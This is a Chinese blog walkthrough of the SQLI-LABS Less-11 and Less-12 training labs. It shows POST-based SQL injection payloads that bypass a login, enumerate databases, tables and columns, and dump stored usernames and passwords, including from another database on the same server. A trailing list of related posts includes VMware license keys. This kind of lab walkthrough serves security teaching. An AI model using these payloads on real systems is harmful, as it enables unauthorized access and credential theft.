SQLI-LABS(Less-11、12)
Less-11(POST-Error Based-Single Quotes-String)
打开Less-11的页面,可以看到一个登录框,需要输入用户名和密码,由本关名字可知SQL语句是单引号闭合。
万能密码
那么先尝试一下万能密码登录,用户名:admin' #、密码随便填一个:

从上图可以看出登陆成功,并且会回显账号和密码。
其他方法
判断注入
先随便尝试一个账号密码,uname=name & passwd=pass

显示登录失败,接着修改post包,加入引号看是否会报错.

可以发现加入引号之后报错了,并且判断出SQL语句的闭合方式是单引号。到此可以发现SQL语句的报错会显示在前端页面。
判断当前数据表列数
注入语句:uname=name' order by 1# & passwd=pass

当尝试到uname=name' order by 3# & passwd=pass时,出现了报错,由此可以判断该表只有两列。

判断回显位
注入语句:uname=name' union select 1,2 # & passwd=pass

判断数用户名和据库名
注入语句:uname=name' union select user(),database() # & passwd=pass

通过上述注入可以得知,当前数据库名为security,当前用户为root,接着找出这个数据库中的所有数据表。
确定当前数据库内表名
注入语句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # & passwd=pass

通过上述注入可以得知当前数据库中存在emails、referers、uagents、users四张数据表。
确定users表中列名
注入语句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # & passwd=pass

通过上述注入可以得知users表中存在三列,分别为id、username、password。
确定users表中的用户名和密码
注入语句:uname=name' union select group_concat(username),group_concat(password) from users # & passwd=pass

到此,就得到了当前表中所有的用户名和密码。
跨数据库注入
通过上面的步骤可以看到当前用户是root用户,那么可以尝试爆其他数据库中的信息。
确定当前服务器上有哪些数据库
注入语句:uname=name' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=pass

通过上述注入可以得知当前服务器中的数据库由:information_schema、bWAPP、challenges、dvwa、mysql、performance_schema、security、test
确定bWAPP数据库中的数据表
注入语句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema='bWAPP' # & passwd=pass

上图中可以看出在bWAPP库中的表分别是blog,heroes,movies,users,visitors。
确定users数据库中的列名
注入语句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_schema='bWAPP' and table_name='users' # & passwd=pass

可以看到users表中的列名为:id,login,password,email,secret,activation_code,activated,reset_code,admin。
确定users表中的邮箱和密码
注入语句:uname=name' union select group_concat(email),group_concat(password) from bWAPP.users#&passwd=pass

这样就成功拿到了邮箱和密码,通过查md5可以得到密码为bug。
Less-12(POST-Error Based-Double Quotes-String-with twist)
通过注入uname=name" & passwd=pass发现SQL闭合符号为"),其余操作均与第11关相同。
确定回显位,其余操作不再赘述:

SQLI-LABS(Less-11、12)的更多相关文章
- 阅读<构建之法>第三10、11、12章并提出问题
<构建之法>第10.11.12章 第10章: 问题:对我们了解了用户的需求后,但是我们想法和做出来的软件会和用户的需求有偏差,比如风格.界面的修饰等等,那么我们程序猿怎样才能让自己的想法更 ...
- 第11、12章等待方法和alter框处理
11.等待方法 time sleep webdriver implicitly_wait() 设置浏览器等待时间 WebDriverWait 等待条件满足或超时后退出 12.alter对话框处理 ...
- 阅读<构建之法>第三10、11、12章
第10章:典型用户和场景 阅读了第10章之后,我知道典型用户很重要,典型用户是某类群体的代表,他们的观点能够反映一类人的观点与对产品的要求,那么要怎么样才能够从一类群体里,选择正确的典型用户反映我们研 ...
- JavaScript高级程序设计(第三版)学习笔记11、12、17章
章, DOM扩展 选择符 API Selector API Level1核心方法querySelector .querySelectorAll,兼容的浏览器可以使用 Document,Element ...
- <构建之法>第11、12章
第11章软件设计与实现 主要讲了典型的开发流程和开发阶段的一些管理方法 问题: 从spec道实现是代码的实现吗? 第12章 用户体验 主要讲了用户体验的各种角度和认识阻力登 问题: 用户的体验是设计前 ...
- 阅读<构建之法>第10、11、12章
第10章 典型用户和场景 10.2 规格说明书 10.3 功能驱动的设计 问题:怎样写好spec?功能驱动设计的功能设计阶段怎样实现一个具体的功能? 第11章 软件设计与实现 11.2开发阶段的日常管 ...
- VMware Workstation Pro 11、12 密钥
11:1F04Z-6D111-7Z029-AV0Q4-3AEH8 12:5A02H-AU243-TZJ49-GTC7K-3C61N
- TW实习日记:第11、12天
这两天其实都在做一件事,项目组组长丢了个需求下来,要求完成一个百度地图api的页面.原本以为和之前写微信接口的类似,没想到这次问题这么多.并且在写代码的时候和组长交流不畅导致心情也很差,深刻的反思了一 ...
- 求出1~13的整数中1出现的次数,并算出100~1300的整数中1出现的次数?为此他特别数了一下1~13中包含1的数字有1、10、11、12、13因此共出现6次,但是对于后面问题他就没辙了。ACMer希望你们帮帮他,并把问题更加普遍化,可以很快的求出任意非负整数区间中1出现的次数。
// test20.cpp : 定义控制台应用程序的入口点. // include "stdafx.h" include include include include inclu ...
- <构建之法>第三10、11、12章
第十章 典型用户和场景 问题:如何更准确知道用户的需求是什么,设计出满足用户的软件? 第十一章 软件设计与实现 问题:软件设计过程中,如何管理设计变更? 第十二章 用户体验 问题:在何时开始设计用户体 ...
随机推荐
- Hadoop-大数据组件版本号查看
1.操作系统 cat /etc/redhat-release ; 2.JDK java -version 3.SCALA scala --version 4.MySQL mysql --versio ...
- 《Learning from Context or Names?An Empirical Study on Neural Relation Extraction》论文阅读笔记
代码 原文地址 预备知识: 1.什么是对比学习? 对比学习是一种机器学习范例,将未标记的数据点相互并列,以教导模型哪些点相似,哪些点不同. 也就是说,顾名思义,样本相互对比,属于同一分布的样本在嵌入空 ...
- NC24048 [USACO 2017 Jan P]Promotion Counting
题目链接 题目 题目描述 The cows have once again tried to form a startup company, failing to remember from past ...
- NC19910 [CQOI2007]矩形RECT
题目链接 题目 题目描述 给一个a*b矩形,由a*b个单位正方形组成.你需要沿着网格线把它分成分空的两部分,每部分所有格子连通,且至少有一个格子在原矩形的边界上."连通"是指任两个 ...
- iptables的mangle表
mangle表的主要功能是根据规则修改数据包的一些标志位,以便其他规则或程序可以利用这种标志对数据包进行过滤或策略路由. 使用策略路由 对应的场景, 都是有多个网口, 常见的使用步骤 1. 创建路由表 ...
- Java设计模式-单例模式Singleton
介绍 所谓类的单例设计模式,就是采取一定的方法保证在整个的软件系统中,对某个类只能存在一个对象实例,并且该类只提供一个取得其对象实例的方法(静态方法). 比如 Hibernate 的 SessionF ...
- 案例分享:Qt出版社书籍配套U盘资源播放器软件定制(脚本关联播放器与资源文件,播放器,兼容win7,win10和mac)
红胖子(红模仿)的博文大全:开发技术集合(包含Qt实用技术.树莓派.三维.OpenCV.OpenGL.ffmpeg.OSG.单片机.软硬结合等等)持续更新中-(点击传送门) 合作案例专栏:案例分享(体 ...
- 基于java的个人博客
基于java的个人博客 效果预览 首页 详情 文章管理 文章发布 分类管理 访问地址 前台地址http://localhost:8080 后台地址:http://localhost/admin/ 开发 ...
- SpringBoot与Thymeleaf入门级操作
使用Thymeleaf 三大理由: 简洁漂亮 容易理解 完美支持HTML5 使用浏览器直接打开页面 不新增标签 只需增强属性 学习目标 快速掌握Thymeleaf的基本使用:五大基础语法,常用内置对象 ...
- DataGear 制作Excel动态数据可视化图表
DataGear 4.1.0 版本增强了Excel数据集功能,新增了[工作表名称]项,并且支持填写参数化语法内容,使得可基于Excel多工作表,构建动态数据可视化图表. 本文以某商品三个地区的各季度销 ...